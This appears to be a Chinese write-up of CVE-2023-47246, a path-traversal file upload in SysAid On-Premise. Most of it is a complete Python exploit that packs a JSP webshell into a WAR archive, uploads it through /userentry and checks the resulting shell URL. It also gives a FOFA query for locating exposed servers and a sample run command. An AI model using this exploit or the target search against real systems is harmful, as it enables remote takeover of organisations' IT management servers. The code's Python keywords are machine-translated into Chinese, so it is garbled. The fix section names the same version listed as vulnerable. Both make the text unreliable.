发布于周五 15:324天前 ##0x00 概述 SysAid On-Premise 是IT 服务管理(ITSM) 和IT 资产管理(ITAM) 解决方案,旨在为企业提供全面、集成的IT 管理服务。经分析发现该软件存在任意文件上传漏洞,攻击者可通过上传webshell获取目标系统权限。 ##0x01 漏洞影响 受漏洞影响的版本:版本23.3.36 ##0x02 漏洞环境 - fofa查询 ```` body=\'sysaid-logo-dark-green.png\' `` ##0x03 漏洞验证与利用 经验: ```` 导入argparse 导入binascii 随机导入 导入时间 导入压缩文件 导入zlib 导入urllib3 导入请求 urllib3.disable_warnings() def compressFile(shellFile, warFile): 尝试: 将zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED) 作为zipf: zipf.write(shellFile) zipf.close() 返回真 除了: 返回错误 def getHexData(warFile): 使用open(warFile, 'rb') 作为warfile: 数据=warfile.read() warfile.close() 压缩数据=zlib.compress(数据) hex_data=binascii.hexlify(compressed_data).decode() 返回十六进制数据 defgenerateRandomDirectoryName(num): 字符集='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' return ''.join(random.choice(charset) for _ in range(num)) def get_random_agent(): 代理列表=[ 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, 如Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0(X11;Linux x86_64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/53.0.2785.89 Safari/537.36' ] 返回agent_list[random.randint(0, len(agent_list) - 1)] def shellUpload(url, proxy, 目录名, shellFile): userEntryUrl=f\'{url}/userentry?accountId=/./././tomcat/webapps/{directoryName}/symbolName=testbase64UserName=YWRtaW4=\' 标题={ \'Content-Type\': \'application/x-www-form-urlencoded\', \'用户代理\': get_random_agent() } shellFileName=shellFile.split(\'.\')[0] warFile=f\'{shellFileName}.war\' 如果压缩文件(shellFile,warFile): shellHex=getHexData(warFile=warFile) 数据=binascii.unhexlify(shellHex) 从myframework.encoder 导入base64_encode 打印(base64_encode(数据=数据)) resp=requests.post(url=userEntryUrl, headers=headers, data=data, proxies=proxy, verify=False) print(\'\\033[92m[+] Shell文件压缩成功!\\033[0m\') 返回响应 否则: print(\'\\033[91m[x] Shell 文件压缩失败。\\033[0m\') 退出(0) def shellTest(url, proxy, 目录名, shellFile): userEntryUrl=f\'{url}/{directoryName}/{shellFile}\' 标题={ \'用户代理\': get_random_agent() } resp=requests.get(url=userEntryUrl, headers=headers, timeout=15, proxies=proxy, verify=False) 返回响应,userEntryUrl def利用(url,代理,shellFile): print(f\'\\033[94m[*]开始攻击: {url}\\033[0m\') 目录名称=生成随机目录名称(5) userentryResp=shellUpload(url, 代理, 目录名, shellFile) print(f\'\\033[94m[*] 等待9 秒.\\033[0m\') 时间.睡眠(9) cveTestResp, userEntryUrl=shellTest(url, 代理, 目录名, shellFile) 如果userentryResp.status_code==200 且cveTestResp.status_code==200: print(f\'\\033[92m[+] 网站[{url}] 存在漏洞CVE-2023-47246!Shell path: {userEntryUrl}\\033[0m\') 否则: print(f\'\\033[91m[x] 网站[{url}]无漏洞CVE-2023-47246.\\033[0m\') 如果__name__==\'__main__\': parser=argparse.ArgumentParser(description=\'SysAid Server 远程代码执行漏洞CVE-2023-47246 Written By W01fh4cker\', add_help=\'eg: python CVE-2023-47246-RCE.py -u https://192.168.149.150:8443\') parser.add_argument(\'-u\', \'--url\', help=\'目标URL\') parser.add_argument(\'-p\', \'--proxy\', help=\'代理, 例如: http://127.0.0.1:7890\') parser.add_argument(\'-f\', \'--file\', help=\'shell 文件, 例如: shell.jsp\') args=parser.parse_args() 如果args.url.endswith(\'/\'): url=args.url[:-1] 否则: url=args.url 如果args.proxy: 代理={ 'http': args.proxy, 'https': args.proxy } 否则: 代理={} 利用(url,代理,args.file) ```` 运行exp: ```` python CVE-2023-47246-EXP.py -u http://host:8080 -p http://127.0.0.1:8088 -f 2.jsp ```` 在这里上传2.jsp: 上传成功,访问上传的webshell: ```` http://域名/6YY7Y/2.jsp `` ##0x04 漏洞分析 查看日志,确认文件上传路由对应的Controller是`com.ilient.server.UserEntry`这个类: 阅读com.ilient.server.UserEntry类的doPost()代码,分析请求处理逻辑 首先阅读帖子数据内容: 然后根据`accountId`参数的内容,构造一个`File`对象。对象的路径名没有限制,可以遍历目录: 然后编写一个zip文件,文件内容就是post数据的内容: 然后调用`a(var31, var11)`。该方法解压刚刚写入的zip文件: 这样,通过访问`/userentry`,就可以将任意zip格式的文件上传到任意指定位置。 zip文件上传后会在指定位置解压,从而实现任意文件写入。 ##0x05 错误修复 该漏洞已被官方修复。请升级到最新版本(23.3.36)。下载地址为:https://documentation.sysaid.com/docs/latest-version-installation-files ##0x06 链接 https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification 转载自先知社区:https://xz.aliyun.com/t/13090 添加一名作者
创建帐户或登录后发表意见